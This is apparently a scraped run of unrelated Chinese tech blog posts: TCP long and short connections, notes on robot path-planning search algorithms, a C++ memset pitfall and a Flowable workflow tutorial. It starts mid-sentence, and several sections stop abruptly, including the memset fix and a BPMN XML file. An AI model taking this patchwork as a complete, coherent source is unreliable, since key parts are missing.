建立一个连接(自动的手机信息、自动的网络寻址); 表示层: 表示层􏰁供多种功能用于应用层数据编码和转化,以确保以一个系统应用层发送的信息 可以被另一个系统应用层识别; 可以理解为:解决不同系统之间的通信,eg:Linux下的QQ和Windows下的QQ可以通信; 应用层: OSI 的应用层协议包括文件的传输、访问及管理协议(FTAM) ,以及文件虚拟终端协议(VIP)和公用管理系统信息(CMIP)等; 规定数据的传输协议; 常见的应用层协议: 值得注意的是http与https协议都是应用层协议,而tcp协议才是传输层协议,所以通常长短连接指的是tcp连接而非http连接。打个形象的比喻: 拿你在网上购物来说,HTTP协议是指的那个快递单,你寄件的时候填的单子就像是发了一个HTTP请求,等货物运到地方了,快递员会根据你发的请求把货物送给相应的收货人。而TCP协议就是中间运货的那个大货车,也可能是火车或者飞机,但不管是什么,它是负责运输的,因此必须要有路,不管是地上还是天上。那么这个路就是所谓的TCP连接,也就是一个双向的数据通道。 TCP连接 当网络通信时采用TCP协议时,在真正的读写操作之前,server与client之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接 时它们可以释放这个连接,连接的建立是需要三次握手的,而释放则需要4次握手,所以说每个连接的建立都是需要资源消耗和时间消耗的。 经典的三次握手示意图: 经典的四次握手关闭图: HTTP协议与TCP/IP协议的关系 HTTP的长连接和短连接本质上是TCP长连接和短连接。HTTP属于应用层协议,在传输层使用TCP协议,在网络层使用IP协议。IP协议主要解决网络路由和寻址问题,TCP协议主要解决如何在IP层之上可靠的传递数据包,使在网络上的另一端收到发端发出的所有包,并且顺序与发出顺序一致。TCP有可靠,面向连接的特点。 如何理解HTTP协议是无状态的 HTTP协议是无状态的,指的是协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。也就是说,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(无连接)。 什么是长连接、短连接? 在HTTP/1.0中,默认使用的是短连接。也就是说,浏览器和服务器每进行一次HTTP操作,就建立一次连接,但任务结束就中断连接。如果客户端浏览器访问的某个HTML或其他类型的 Web页中包含有其他的Web资源,如JavaScript文件、图像文件、CSS文件等;当浏览器每遇到这样一个Web资源,就会建立一个HTTP会话。 但从HTTP/1.1起,默认使用长连接,用以保持连接特性。使用长连接的HTTP协议,会在响应头有加入这行代码: Connection:keep-alive 在使用长连接的情况下,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的 TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间。实现长连接要客户端和服务端都支持长连接。 HTTP协议的长连接和短连接,实质上是TCP协议的长连接和短连接。 TCP短连接 我们模拟一下TCP短连接的情况,client向server发起连接请求,server接到请求,然后双方建立连接。client向server 发送消息,server回应client,然后一次读写就完成了,这时候双方任何一个都可以发起close操作,不过一般都是client先发起 close操作。为什么呢,一般的server不会回复完client后立即关闭连接的,当然不排除有特殊的情况。从上面的描述看,短连接一般只会在 client/server间传递一次读写操作 短连接的优点是:管理起来比较简单,存在的连接都是有用的连接,不需要额外的控制手段 TCP长连接 接下来我们再模拟一下长连接的情况,client向server发起连接,server接受client连接,双方建立连接。client与server完成一次读写之后,它们之间的连接并不会主动关闭,后续的读写操作会继续使用这个连接。 首先说一下TCP/IP详解上讲到的TCP保活功能,保活功能主要为服务器应用提供,服务器应用希望知道客户主机是否崩溃,从而可以代表客户使用资源。如果客户已经消失,使得服务器上保留一个半开放的连接,而服务器又在等待来自客户端的数据,则服务器将应远等待客户端的数据,保活功能就是试图在服务 器端检测到这种半开放的连接。 如果一个给定的连接在两小时内没有任何的动作,则服务器就向客户发一个探测报文段,客户主机必须处于以下4个状态之一: 客户主机依然正常运行,并从服务器可达。客户的TCP响应正常,而服务器也知道对方是正常的,服务器在两小时后将保活定时器复位。 客户主机已经崩溃,并且关闭或者正在重新启动。在任何一种情况下,客户的TCP都没有响应。服务端将不能收到对探测的响应,并在75秒后超时。服务器总共发送10个这样的探测 ,每个间隔75秒。如果服务器没有收到一个响应,它就认为客户主机已经关闭并终止连接。 客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应,这个响应是一个复位,使得服务器终止这个连接。 客户机正常运行,但是服务器不可达,这种情况与2类似,TCP能发现的就是没有收到探查的响应。 长连接短连接建立过程 短连接的建立过程是:

【L2】深蓝学院-高飞老师 移动机器人规划笔记 基于搜索的路径规划

基于搜索的路径规划 相关概念配置(Configuration)自由度(degree of freedom,DOF)配置空间(Configuration Space)在配置空间中做规划 图搜索的概念图的构成方式图搜索图搜索方法的整体框架图遍历的方法(Graph traversal)启发式的搜索算法(heuristic search)上述搜索方法的缺陷Dijkstra 算法A*算法 (Dijkstra with a heuristic)A*算法启发式函数的讨论A*算法变体-weighted A*算法A*算法在工程上实用的trickJump Point SearchJPS算法的缺陷 相关概念 配置(Configuration) 对机器人上面所有的点的位置的描述 自由度(degree of freedom,DOF) 用最少的坐标的数量去表示机器人存在的配置 配置空间(Configuration Space) 有n个维度的空间中,包含了所有的机器人可能存在的位姿。 在配置空间中做规划 在配置空间中做规划要比在朴素的空间中做优化要容易,因此需要将障碍物转换到配置空间中,成为c-obstacles,简单来讲,一般都是把有形状的机器人转换为点,然后把障碍物去做对应尺寸的膨胀,问题就变成了点的规划,就不用考虑机器人的尺寸了。 图搜索的概念 图的概念与图神经网络里面的图是一样的,之前搞过就没有记~ 图的构成方式 如果是基于搜索的方法,本身的每一个格子都和其他相邻格子有物理概念上的连接,因此本身就是一种图。基于采样的方法,其中就没有这样物理概念上的连接,往往需要人为的利用采样生成的节点构图。 图搜索 图搜索总是从一个起始状态开始,会产生一个搜索树,如下图所示。回推整个搜索的过程也就得到了一个所谓的路径,当然在机器人规划时,完整的搜索是很费力的,那如何尽可能快地完成最优搜索也就是后续需要研究的重点。 图搜索方法的整体框架 总是维护一个容器:这个容器装载了将来有可能或打算访问的所有节点。值得注意的是,该容器一开始是空的,第一个放入的就是设定的起始节点。随后进入循环: 进入循环:在容器里,根据实现给定的指标或目的,弹出一个节点(访问一个节点);扩展:发现其所有存在的邻居节点;把扩展的新的节点放入容器中,直到完成目标或其他指标后终止循环。 那么这其中涉及到一些其他问题,比如: 什么时候循环停止呢? 一个比较直观的答案是当容器中没有节点时就停止。那如果存在整个图是一个循环的结构的呢? 这时为了避免图搜索陷入死循环,往往还会维护另外一个新的容器(close list 闭集),这个容器装载着被访问过的节点,保证不会被再次访问。按照什么规则去访问节点去尽可能快地到达目标节点呢? 这个就涉及到后续介绍的算法啦! 图遍历的方法(Graph traversal) 这里是后面算法的基础~包含最经典的广度优先搜索算法和深度优先搜索算法。如下图: 广度优先搜索(Breadth First Search,BFS):遵从先进先出原则,是一个队列(容器)。从下图可以理解到,容器优先遍历完最浅的一层的节点后才回去访问更深层的节点。 深度优先搜索(Depth First Search,DFS):遵从后进先出原则,是一个堆栈(容器)。从下图可以理解到,容器先弹出已有节点中最深层级的节点,也就是优先把一条路径走到底。 上述两种方法对比来看,对于选择最优化路径这个任务而言,目前可以更多关注广度优先搜索算法,原因可以从下图看出,BFS虽然搜索的可能会比较慢,但是搜索到目标终点后回溯一定是可以得到较好的路径的,但是DFS是一条路走到黑的搜索方式,得到的路径结果就不一定符合我们的预期了。 启发式的搜索算法(heuristic search) 这里主要介绍了贪心算法。区别于BFS的先进先出和DFS的后进先出,贪心算法的弹出策略是人为去规定的,heuristic是一个对于目前与终点之间距离的猜测(忽视障碍物的欧氏距离或x、y轴分别距离和的曼哈顿距离等),因此可以启发路径搜索通往较优的方向。 然而,贪心算法并不一定会比BFS搜索方法要好,看起来在无障碍地情况下,贪心算法搜索确实有着明显的优势,即更快的找到与BFS搜索得到的同样最优的路径,但是在有障碍物的情况下,heuristic的指引也有可能使算法陷入路径上的局部最优解。 上述搜索方法的缺陷 上述的DFS,BFS,贪心算法能够正确搜索到路径的前提是没有考虑建成的图之中各个边所代表的不同权重,也就是所谓的路径的cost,但是在实际的工程情况中,不同的边的飞行代价是不一样的,可能涉及到长度、飞行时长、能量消耗等考虑因素,因此需要设计更普适的找到最小代价路线的搜索算法。 Dijkstra 算法 弹出原则是:每次弹出的节点具备最小的cost g(n),g(n)表示的是,从起点出发到当前节点积累的cost。会更新n节点的所有未被扩展的邻居节点m,如果从n到m这个走向的g(m)比原来的cost小的话,就会做一个cost的更新。最优性的保证:每一个被扩展过的节点的g(n)都能保证是起始节点到当前n节点的最小代价的路径。 上图算法流程中的priority queue即优先级队列,这个队列中的排序方式是通过g(n)也就是cost的大小来进行排序的。 pros:解是完备的且最优的(如果存在这样的解的话,dijkstra算法一定可以找到并且是最优解)cons:找解的时候是全方向均匀扩散的,类似BFS,因为没有终点相关的信息。 A*算法 (Dijkstra with a heuristic) dijkstra算法的缺点是类似与BFS,没有终点相关的信息,所以是盲目地全向进行搜索的,而上文我们讨论过启发式搜索这样的一个思路,即贪心算法,那是否可以将贪心算法的搜索思路与dijkstra算法具备完备最优解的特性进行结合呢?这个思路也就引出了A算法。

memset的使用

memset的一个小坑 #include <iostream> #include <cstring> using namespace std; const int N = 110; int f[N]; //目的:将f[N]数组所有元素变成1 int main() { memset(f, 1, sizeof f); for (int i = 0; i < 10; ++i) cout << f[i] << ' '; cout << endl; return 0; } // 输出结果: 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 解释: memset(void *dist, int ch, size_t count); // 参数1:目标的首地址。参数2:一个字节的数据。参数三:数据的个数。 这里的参数2:*它会将内存块中的每个字节都设置为二进制表示的 00000001,而不是将每个元素都设置为整数 1。所以会有错误! 正解 可以使用下面的这个方法进行填充int类型数据

基于Flowable的工作流

1. Flowable简介 Flowable提供了一个组高效的核心开源业务流程引擎,为开发人员,系统管理员和业务用户提供工作流和业务流程管理(BPM)平台。全部用Java编写,并且基于Apache 2.0许可的开源,代码在社区维护。其核心是一个快速,经过试验和测试的动态BPMN流程引擎,附带DMN决策表和CMMN Case管理引擎。 Flowable是一个功能强大、易用性好、可扩展性强的工作流和业务流程管理引擎,提供了一套可扩展的基于Java的API,可以帮助我们设计、部署和执行各种复杂的业务流程。 2. Flowable常用理论知识点 基本概念 流程定义(Process Definition) :描述流程的结构和行为,可以看作是流程的蓝图。流程实例(Process Instance) :流程定义的一个运行时实例,表示一个实际的业务流程。任务(Task) :流程中的一项工作,常见的有用户任务、服务任务、脚本任务等。用户任务可以被分配给一个或多个用户。用户(User) :参与业务流程的人员,可以执行任务。组(Group) :用户的集合,用于任务分配和权限管理。变量(Variable) :实例运行过程中存储的数据,分为全局变量和本地变量。2者主要区别是作用域,前者作用于整个流程实例中,后者只是本次任务内。使用变量是需要注意java对象序列化以及指定序列化版本ID。监听器(Listener) :常用的有任务监听器和执行监听器。2者监听的事件类型不同。任务监听器主要用于监听任务的创建、完成、删除等;执行监听器用于监听执行动作开始、结束。子流程(SubProcess) : 子流程分为嵌套子流程和调用子流程。在一个流程中,嵌套一个或多个子流程,但是这些子流程没有流程实例Id,它是属于当前流程内部的;在UI画图的时候,嵌套子流程的子流程是在当前流程中画的。调用子流程的子流程是一个独立的流程,是外部的流程;调用子流程的子流程被启动之后,是有流程实例id的,会与主流程(调用它的流程)的实例id关联。事件(Event) : BPMN中的事件包括 开始、结束、边界、中间捕获、抛出等。网关(Gateway) : 用于在工作流程中进行流程控制和流转,根据不同的条件选择不同的路径,以实现业务流程的灵活性和可定制性。按类型分为排他、并行、包容、事件。 常用service RepositoryService :提供了对流程定义和流程实例的创建、修改、删除、查询等操作。这个Service主要用于管理流程定义和流程实例,例如部署流程定义、启动流程实例等。RuntimeService :提供了对流程实例的操作,包括启动、暂停、恢复、终止、查询等操作。这个Service主要用于管理流程实例的运行时状态,例如启动流程实例、查询流程实例状态等。TaskService :提供了对任务的操作,包括查询任务、分配任务、完成任务等操作。这个Service主要用于管理流程中的任务,例如查询待办任务、完成任务等。HistoryService :提供了对历史数据的查询,包括查询流程实例的历史数据、查询任务的历史数据等。这个Service主要用于查询流程实例或任务的历史数据,例如查询已完成的流程实例、查询任务的历史处理记录等。IdentityService :提供了对用户和组的管理,包括创建用户、创建组、查询用户、查询组等操作。这个Service主要用于管理用户和组,例如创建用户、查询用户信息等。FormService :提供了对表单的管理,包括获取表单数据、提交表单数据等操作。这个Service主要用于管理表单数据,例如获取表单数据、提交表单数据等。 数据库表 命名规则 ACT_RE_* : ** ** ’RE’表示repository(存储)。RepositoryService接口操作的表。带此前缀的表包含的是静态信息,如,流程定义,流程的资源(图片,规则等)。ACT_RU_* : ** ** ’RU’表示runtime。RuntimeService、TaskService等接口操作的表。这是运行时的表存储着流程变量,用户任务,变量,职责(job)等运行时的数据。flowable只存储实例执行期间的运行时数据,当流程实例结束时,将删除这些记录。这就保证了这些运行时的表小且快。ACT_ID_* : ** ** ’ID’表示identity(组织机构)。IdentityService接口操作的表。这些表包含标识的信息,如用户,用户组,等等。ACT_HI_* : ** ** ’HI’表示history。HistoryService接口操作的表。就是这些表包含着历史的相关数据,如结束的流程实例,变量,任务,等等。ACT_GE_* : ** ** 普通数据,各种情况都使用的数据。 3. 实现一个简单的工作流程 我们将实现一个简单的请假流程,包括以下步骤: 员工提交请假申请。部门经理审批。HR审批。通知员工审批结果。 3.1 编写BPMN流程定义 首先,我们需要使用Flowable Modeler或其他BPMN建模工具来绘制流程图。流程图中包含开始事件、用户任务、网关和结束事件等元素。 请假流程的BPMN流程定义文件(leave_process.bpmn20.xml)如下: <?xml version="1.0" encoding="UTF-8"?> <definitions xmlns="